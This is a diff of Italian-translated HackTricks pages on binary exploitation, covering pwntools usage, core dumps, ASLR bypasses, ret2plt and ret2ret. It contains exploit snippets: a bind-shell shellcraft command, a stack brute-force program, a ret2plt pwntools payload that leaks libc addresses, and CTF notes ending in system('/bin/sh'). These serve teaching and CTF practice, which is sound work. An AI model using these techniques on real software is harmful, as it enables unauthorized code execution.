@ -52,7 +53,7 @@ pwn cyclic -l faad
* contesto (16,32,64,linux,windows...) * contesto (16,32,64,linux,windows...)
* Prendere l'offset (-l) * Prendere l'offset (-l)
## Pwn debug ## Debug Pwn
Collegare GDB a un processo Collegare GDB a un processo
``` ```
@ -127,9 +128,9 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
* shellcode e argomenti per lo shellcode * shellcode e argomenti per lo shellcode
* File di output * File di output
* formato di output * formato di output
* debug (collega dbg allo shellcode) * debug (attacca dbg allo shellcode)
* before (trappola di debug prima del codice) * prima (trappola di debug prima del codice)
* after * dopo
* evita di utilizzare opcode (predefinito: non nullo e nuova riga) * evita di utilizzare opcode (predefinito: non nullo e nuova riga)
* Esegui lo shellcode * Esegui lo shellcode
* Colore/senza colore * Colore/senza colore
@ -139,7 +140,7 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
## Modello Pwn ## Modello Pwn
Ottieni un modello in Python Ottieni un modello Python
``` ```
pwn template pwn template
``` ```
@ -157,16 +158,17 @@ Per aggiornare pwntools
``` ```
pwn update pwn update
``` ```
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Protezioni e Bypass Comuni nell'Esplorazione Binaria # Protezioni e Bypass Comuni nell'Exploitation Binaria
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Abilita i File Core ## Abilita i File Core
I **file core** sono un tipo di file generato da un sistema operativo quando un processo va in crash. Questi file catturano l'immagine di memoria del processo in crash al momento della sua terminazione, inclusa la memoria del processo, i registri e lo stato del contatore del programma, tra altri dettagli. Questo snapshot può essere estremamente prezioso per il debug e per capire perché si è verificato il crash. I **file core** sono un tipo di file generato da un sistema operativo quando un processo va in crash. Questi file catturano l'immagine di memoria del processo in crash al momento della sua terminazione, inclusa la memoria del processo, i registri e lo stato del program counter, tra altri dettagli. Questo snapshot può essere estremamente prezioso per il debugging e per capire perché si è verificato il crash.
### **Abilitare la Generazione dei Dump Core** ### **Abilitare la Generazione dei Dump Core**
Per impostazione predefinita, molti sistemi limitano le dimensioni dei file core a 0 (cioè non generano file core) per risparmiare spazio su disco. Per abilitare la generazione dei file core, è possibile utilizzare il comando **`ulimit`** (in bash o shell simili) o configurare le impostazioni a livello di sistema. Per impostazione predefinita, molti sistemi limitano le dimensioni dei file core a 0 (cioè non generano file core) per risparmiare spazio su disco. Per abilitare la generazione dei file core, è possibile utilizzare il comando **`ulimit`** (in bash o shell simili) o configurare le impostazioni a livello di sistema.
* **Utilizzando ulimit**: Il comando `ulimit -c unlimited` consente alla sessione shell corrente di creare file core di dimensioni illimitate. Questo è utile per le sessioni di debug ma non è persistente tra riavvii o nuove sessioni. * **Utilizzando ulimit**: Il comando `ulimit -c unlimited` consente alla sessione shell corrente di creare file core di dimensioni illimitate. Questo è utile per le sessioni di debugging ma non è persistente tra riavvii o nuove sessioni.
```bash ```bash
ulimit -c unlimited ulimit -c unlimited
``` ```
@ -32,8 +33,23 @@ ulimit -c unlimited
``` ```
### **Analisi dei file core con GDB** ### **Analisi dei file core con GDB**
Per analizzare un file core, è possibile utilizzare strumenti di debugging come GDB (il GNU Debugger). Supponendo di avere un eseguibile che ha prodotto un dump core e il file core si chiama `core_file`, è possibile avviare l'analisi con: Per analizzare un file core, è possibile utilizzare strumenti di debugging come GDB (il GNU Debugger). Supponendo di avere un eseguibile che ha prodotto un dump core e che il file core si chiami `core_file`, è possibile avviare l'analisi con:
```bash ```bash
gdb /path/to/executable /path/to/core_file gdb /path/to/executable /path/to/core_file
``` ```
Questo comando carica l'eseguibile e il file core in GDB, consentendoti di ispezionare lo stato del programma al momento del crash. Puoi utilizzare i comandi di GDB per esplorare lo stack, esaminare le variabili e comprendere la causa del crash. Questo comando carica l'eseguibile e il file core in GDB, consentendoti di ispezionare lo stato del programma al momento del crash. Puoi utilizzare i comandi di GDB per esplorare lo stack, esaminare le variabili e comprendere la causa del crash.
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Sostieni HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# ASLR # ASLR
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
@ -30,9 +31,9 @@ Per **verificare** lo stato di ASLR su un sistema Linux, è possibile leggere il
```bash ```bash
cat /proc/sys/kernel/randomize_va_space cat /proc/sys/kernel/randomize_va_space
``` ```
### **Disabilitazione di ASLR** ### **Disattivazione di ASLR**
Per **disabilitare** ASLR, imposti il valore di `/proc/sys/kernel/randomize_va_space` a **0**. Disabilitare ASLR non è generalmente consigliato al di fuori di scenari di testing o debug. Ecco come puoi disabilitarlo: Per **disattivare** ASLR, si imposta il valore di `/proc/sys/kernel/randomize_va_space` a **0**. Disattivare ASLR di solito non è consigliato al di fuori di scenari di test o debug. Ecco come è possibile disattivarlo:
```bash ```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
@ -59,7 +60,7 @@ Dopo aver modificato `/etc/sysctl.conf`, applica le modifiche con:
```bash ```bash
sudo sysctl -p sudo sysctl -p
``` ```
Questo assicurerà che le impostazioni di ASLR rimangano attive anche dopo i riavvii. Questo assicurerà che le impostazioni del ASLR rimangano attive anche dopo i riavvii.
## **Bypass** ## **Bypass**
@ -67,11 +68,11 @@ Questo assicurerà che le impostazioni di ASLR rimangano attive anche dopo i ria
PaX divide lo spazio degli indirizzi del processo in **3 gruppi**: PaX divide lo spazio degli indirizzi del processo in **3 gruppi**:
* **Codice e dati** (inizializzati e non inizializzati): `.text`, `.data`, e `.bss` —> **16 bit** di entropia nella variabile `delta_exec`. Questa variabile viene inizializzata casualmente con ogni processo e aggiunta agli indirizzi iniziali. * **Codice e dati** (inizializzati e non inizializzati): `.text`, `.data`, e `.bss` —> **16 bit** di entropia nella variabile `delta_exec`. Questa variabile viene inizializzata casualmente ad ogni processo e aggiunta agli indirizzi iniziali.
* **Memoria** allocata da `mmap()` e **librerie condivise** —> **16 bit**, chiamati `delta_mmap`. * **Memoria** allocata da `mmap()` e **librerie condivise** —> **16 bit**, chiamato `delta_mmap`.
* **Lo stack** —> **24 bit**, indicato come `delta_stack`. Tuttavia, utilizza effettivamente **11 bit** (dal 10° al 20° byte incluso), allineati a **16 byte** —> Ciò porta a **524.288 possibili indirizzi reali dello stack**. * **Lo stack** —> **24 bit**, indicato come `delta_stack`. Tuttavia, utilizza effettivamente **11 bit** (dal 10° al 20° byte incluso), allineati a **16 byte** —> Ciò porta a **524.288 possibili indirizzi reali dello stack**.
I dati precedenti sono per sistemi a 32 bit e la ridotta entropia finale rende possibile aggirare l'ASLR riprovando l'esecuzione più volte fino a quando l'exploit viene completato con successo. I dati precedenti sono per sistemi a 32 bit e la ridotta entropia finale rende possibile aggirare il ASLR riprovando l'esecuzione più volte fino a quando l'exploit viene completato con successo.
#### Idee per la forzatura: #### Idee per la forzatura:
@ -81,7 +82,7 @@ I dati precedenti sono per sistemi a 32 bit e la ridotta entropia finale rende p
```python ```python
for off in range(0xb7000000, 0xb8000000, 0x1000): for off in range(0xb7000000, 0xb8000000, 0x1000):
``` ```
* Se stai attaccando un server remoto, potresti provare a **forzare l'indirizzo della funzione `usleep` della `libc`**, passando come argomento 10 (per esempio). Se a un certo punto il **server impiega 10 secondi in più per rispondere**, hai trovato l'indirizzo di questa funzione. * Se stai attaccando un server remoto, potresti provare a **forzare l'indirizzo della funzione `usleep` della `libc`**, passando come argomento 10 (ad esempio). Se a un certo punto il **server impiega 10 secondi in più per rispondere**, hai trovato l'indirizzo di questa funzione.
{% hint style="success" %} {% hint style="success" %}
Nei sistemi a 64 bit l'entropia è molto più alta e questo non dovrebbe essere possibile. Nei sistemi a 64 bit l'entropia è molto più alta e questo non dovrebbe essere possibile.
@ -90,7 +91,7 @@ Nei sistemi a 64 bit l'entropia è molto più alta e questo non dovrebbe essere
### Forzatura dello stack a 64 bit ### Forzatura dello stack a 64 bit
È possibile occupare una grande parte dello stack con variabili d'ambiente e poi provare ad abusare del binario centinaia/migliaia di volte in locale per sfruttarlo.\ È possibile occupare una grande parte dello stack con variabili d'ambiente e poi provare ad abusare del binario centinaia/migliaia di volte in locale per sfruttarlo.\
Il codice seguente mostra come sia possibile **selezionare semplicemente un indirizzo nello stack** e ogni **centinaia di esecuzioni** quell'indirizzo conterrà l'**istruzione NOP**: Il codice seguente mostra come sia possibile **selezionare semplicemente un indirizzo nello stack** e ogni **centinaia di esecuzioni** quell'indirizzo conterrà l'istruzione **NOP**:
```c ```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h> #include <stdio.h>
@ -156,7 +157,7 @@ pass
``` ```
<figure><img src="../../../.gitbook/assets/image (1214).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Informazioni locali (`/proc/[pid]/stat`) ### Informazioni Locali (`/proc/[pid]/stat`)
Il file **`/proc/[pid]/stat`** di un processo è sempre leggibile da chiunque e **contiene informazioni interessanti** come: Il file **`/proc/[pid]/stat`** di un processo è sempre leggibile da chiunque e **contiene informazioni interessanti** come:
@ -165,7 +166,7 @@ Il file **`/proc/[pid]/stat`** di un processo è sempre leggibile da chiunque e
* **start\_data** & **end\_data**: Indirizzi sopra e sotto dove si trova il **BSS** * **start\_data** & **end\_data**: Indirizzi sopra e sotto dove si trova il **BSS**
* **kstkesp** & **kstkeip**: Indirizzi correnti di **ESP** e **EIP** * **kstkesp** & **kstkeip**: Indirizzi correnti di **ESP** e **EIP**
* **arg\_start** & **arg\_end**: Indirizzi sopra e sotto dove si trovano gli **argomenti della riga di comando** * **arg\_start** & **arg\_end**: Indirizzi sopra e sotto dove si trovano gli **argomenti della riga di comando**
* **env\_start** & **env\_end**: Indirizzi sopra e sotto dove si trovano le **variabili d'ambiente** * **env\_start** & **env\_end**: Indirizzi sopra e sotto dove si trovano le **variabili d'ambiente**.
Pertanto, se l'attaccante si trova nello stesso computer del binario che viene sfruttato e questo binario non si aspetta l'overflow dagli argomenti grezzi, ma da un diverso **input che può essere creato dopo aver letto questo file**. È possibile per un attaccante **ottenere alcuni indirizzi da questo file e costruire offset da essi per lo sfruttamento**. Pertanto, se l'attaccante si trova nello stesso computer del binario che viene sfruttato e questo binario non si aspetta l'overflow dagli argomenti grezzi, ma da un diverso **input che può essere creato dopo aver letto questo file**. È possibile per un attaccante **ottenere alcuni indirizzi da questo file e costruire offset da essi per lo sfruttamento**.
@ -177,7 +178,7 @@ Per ulteriori informazioni su questo file controlla [https://man7.org/linux/man-
* **La sfida consiste nel fornire una fuga** * **La sfida consiste nel fornire una fuga**
Se ti viene fornita una fuga (sfide CTF facili), puoi calcolare offset da essa (supponendo ad esempio di conoscere l'esatta versione di libc utilizzata nel sistema che stai sfruttando). Questo exploit di esempio è estratto dall'[**esempio da qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (controlla quella pagina per ulteriori dettagli): Se ti viene fornita una fuga (sfide CTF facili), puoi calcolare offset da essa (supponendo ad esempio di conoscere la versione esatta di libc utilizzata nel sistema che stai sfruttando). Questo exploit di esempio è estratto dall'[**esempio da qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (controlla quella pagina per ulteriori dettagli):
```python ```python
from pwn import * from pwn import *
@ -239,8 +240,8 @@ Prova a eludere l'ASLR sfruttando gli indirizzi all'interno dello stack:
### vsyscall ### vsyscall
Il meccanismo **`vsyscall`** serve per migliorare le prestazioni consentendo a determinate chiamate di sistema di essere eseguite nello spazio utente, anche se fanno fondamentalmente parte del kernel. Il vantaggio critico delle **vsyscall** risiede nei loro **indirizzi fissi**, che non sono soggetti a **ASLR** (Randomizzazione della disposizione dello spazio degli indirizzi). Questa natura fissa significa che gli attaccanti non necessitano di una vulnerabilità di leak di informazioni per determinare i loro indirizzi e utilizzarli in un exploit.\ Il meccanismo **`vsyscall`** serve per migliorare le prestazioni consentendo a determinate chiamate di sistema di essere eseguite nello spazio utente, anche se fanno fondamentalmente parte del kernel. Il vantaggio critico delle **vsyscalls** risiede nei loro **indirizzi fissi**, che non sono soggetti a **ASLR** (Randomizzazione della disposizione dello spazio degli indirizzi). Questa natura fissa significa che gli attaccanti non necessitano di una vulnerabilità di leak di informazioni per determinare i loro indirizzi e utilizzarli in un exploit.\
Tuttavia, qui non saranno trovati gadget super interessanti (anche se ad esempio è possibile ottenere un equivalente di `ret;`) Tuttavia, non saranno trovati gadget super interessanti qui (anche se ad esempio è possibile ottenere un equivalente di `ret;`)
(L'esempio e il codice seguenti sono [**tratti da questo writeup**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation)) (L'esempio e il codice seguenti sono [**tratti da questo writeup**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))

View file

@ -1,24 +1,25 @@
# Ret2plt # Ret2plt
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
L'obiettivo di questa tecnica sarebbe quello di **ottenere un indirizzo da una funzione dal PLT** per poter aggirare l'ASLR. Questo perché se, ad esempio, si ottiene l'indirizzo della funzione `puts` dalla libc, è possibile **calcolare dove si trova la base di `libc`** e calcolare offset per accedere ad altre funzioni come **`system`**. L'obiettivo di questa tecnica sarebbe quello di **ottenere un indirizzo da una funzione dal PLT** per poter aggirare l'ASLR. Questo perché se, ad esempio, si ottiene l'indirizzo della funzione `puts` dalla libc, è possibile **calcolare dove si trova la base di `libc`** e calcolare offset per accedere ad altre funzioni come **`system`**.
Questo può essere fatto con un payload `pwntools` come ([**da qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)): Questo può essere fatto con un payload di `pwntools` come ([**da qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
```python ```python
# 32-bit ret2plt # 32-bit ret2plt
payload = flat( payload = flat(
@ -37,9 +38,9 @@ elf.plt['puts'],
elf.symbols['main'] elf.symbols['main']
) )
``` ```
Nota come **`puts`** (utilizzando l'indirizzo dal PLT) viene chiamato con l'indirizzo di `puts` situato nella GOT (Global Offset Table). Questo perché al momento in cui `puts` stampa l'entry GOT di puts, questa **entry conterrà l'indirizzo esatto di `puts` in memoria**. Nota come **`puts`** (utilizzando l'indirizzo dal PLT) viene chiamato con l'indirizzo di `puts` situato nella GOT (Tabella degli Offset Globali). Questo perché al momento in cui `puts` stampa l'entry GOT di puts, questa **entry conterrà l'indirizzo esatto di `puts` in memoria**.
Nota anche come l'indirizzo di `main` viene utilizzato nello sfruttamento in modo che quando `puts` termina la sua esecuzione, il **binario richiama nuovamente `main` anziché uscire** (così l'indirizzo trapelato continuerà ad essere valido). Nota anche come l'indirizzo di `main` viene utilizzato nello sfruttamento in modo che quando `puts` termina la sua esecuzione, il **binario richiama nuovamente `main` anziché uscire** (così l'indirizzo leaked continuerà ad essere valido).
{% hint style="danger" %} {% hint style="danger" %}
Nota come affinché ciò funzioni il **binario non può essere compilato con PIE** oppure devi avere **trovato un leak per aggirare PIE** al fine di conoscere l'indirizzo del PLT, GOT e main. Altrimenti, devi aggirare prima PIE. Nota come affinché ciò funzioni il **binario non può essere compilato con PIE** oppure devi avere **trovato un leak per aggirare PIE** al fine di conoscere l'indirizzo del PLT, GOT e main. Altrimenti, devi aggirare prima PIE.
@ -84,6 +85,6 @@ p.interactive()
## Altri esempi e Riferimenti ## Altri esempi e Riferimenti
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) * [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* A 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e farlo trapelare. Con il canary viene creato un ROP gadget per chiamare puts e ottenere l'indirizzo di puts dal GOT e un ROP gadget per chiamare `system('/bin/sh')`. * A 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e fare leak. Con il canary viene creato un ROP gadget per chiamare puts e fare leak dell'indirizzo di puts dalla GOT e un ROP gadget per chiamare `system('/bin/sh')`.
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html) * [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* 64 bit, ASLR abilitato, nessun canary, stack overflow in main da una funzione figlia. ROP gadget per chiamare puts per ottenere l'indirizzo di puts dal GOT e poi chiamare un one gadget. * 64 bit, ASLR abilitato, nessun canary, stack overflow in main da una funzione figlia. ROP gadget per chiamare puts per fare leak dell'indirizzo di puts dalla GOT e poi chiamare un one gadget.

View file

@ -1,28 +1,29 @@
# Ret2ret & Ret2pop # Ret2ret & Ret2pop
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) nei repository di github.
</details> </details>
{% endhint %}
## Ret2ret ## Ret2ret
Il **principale obiettivo** di questa tecnica è cercare di **bypassare ASLR sfruttando un puntatore esistente nello stack**. Il **principale obiettivo** di questa tecnica è cercare di **bypassare l'ASLR sfruttando un puntatore esistente nello stack**.
Fondamentalmente, gli stack overflow sono di solito causati da stringhe, e **le stringhe terminano con un byte nullo alla fine** in memoria. Questo consente di cercare di ridurre il posto puntato da un puntatore esistente nello stack. Quindi se lo stack contenesse `0xbfffffdd`, questo overflow potrebbe trasformarlo in `0xbfffff00` (nota l'ultimo byte azzerato). Fondamentalmente, gli stack overflow sono di solito causati da stringhe, e **le stringhe terminano con un byte nullo alla fine** in memoria. Questo consente di cercare di ridurre il posto puntato da un puntatore esistente già presente nello stack. Quindi se lo stack contenesse `0xbfffffdd`, questo overflow potrebbe trasformarlo in `0xbfffff00` (nota l'ultimo byte azzerato).
